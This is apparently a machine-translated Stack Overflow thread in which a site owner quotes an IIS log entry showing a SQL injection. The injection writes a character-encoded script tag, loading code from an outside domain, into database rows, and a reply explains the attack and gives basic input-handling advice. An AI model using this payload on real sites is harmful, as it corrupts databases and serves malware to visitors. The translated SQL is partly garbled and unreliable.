攻击使用SQL Server数据库的ASP站点

Dav*_*vid 10 javascript sql-server asp-classic query-string

我们有一个显然受到攻击的调查网站.症状与本网站的以下页面中描述的症状相同: ASP.NET网站上的XSS攻击.

我在IIS日志中发现了多个包含恶意代码的条目:

</ title> <script src = http:// google-stats49.info/ur.php>.

以下是其中一个IIS日志条目的cs-uri-query字段值的示例.

surveyID = 91 +更新+ usd_ResponseDetails +设定+类别名称= REPLACE(铸造(类别名称+为+ VARCHAR(8000)),流延(CHAR(60)%2Bchar(47)%2Bchar(116)%2Bchar(105)%2Bchar( 116)%2Bchar(108)%2Bchar(101)%2Bchar(62)%2Bchar(60)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar( 116)%2Bchar(32)%2Bchar(115)%2Bchar(114)%2Bchar(99)%2Bchar(61)%2Bchar(104)%2Bchar(116)%2Bchar(116)%2Bchar(112)%2Bchar( 58)%2Bchar(47)%2Bchar(47)%2Bchar(103)%2Bchar(111)%2Bchar(111)%2Bchar(103)%2Bchar(108)%2Bchar(101)%2Bchar(45)%2Bchar( 115)%2Bchar(116)%2Bchar(97)%2Bchar(116)%2Bchar(115)%2Bchar(53)%2Bchar(48)%2Bchar(46)%2Bchar(105)%2Bchar(110)%2Bchar( 102)%2Bchar(111)%2Bchar(47)%2Bchar(117)%2Bchar(114)%2Bchar(46)%2Bchar(112)%2Bchar(104)%2Bchar(112)%2Bchar(62)%2Bchar( 60)%2Bchar(47)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(62)+为+ VARCHAR(8000)) ,铸(CHAR(32)+ AS + VARCHAR(8))) -

我不明白上面的代码是如何工作的,但显然这是在查询字符串中发送的内容,以破坏我们的数据库表中的列.我们暂时关闭了我们的网站.我们可以从数据库中删除脚本,但这并不能防止它在我们将网站重新联机时再次损坏.

有没有人对如何防止这种情况发生任何建议?

Cfr*_*eak 7

这是一个SQL注入.

  1. 绝不相信用户输入.您正在接收输入并将其直接发送到数据库
  2. 绝不相信您的用户输入!
  3. 根据允许值的白名单检查所有输入.
  4. 对于文本输入,请确保所有内容都已转义

这个问题有很多:谷歌是你的朋友

  • 不,谷歌不是你的朋友.事实上,情况正好相反.我之所以这么说,只是因为他们很久以前就把所有人的隐私都抛到了窗外.:) (3认同)
  • 你忘记添加:5.永远不要相信用户输入!:) (2认同)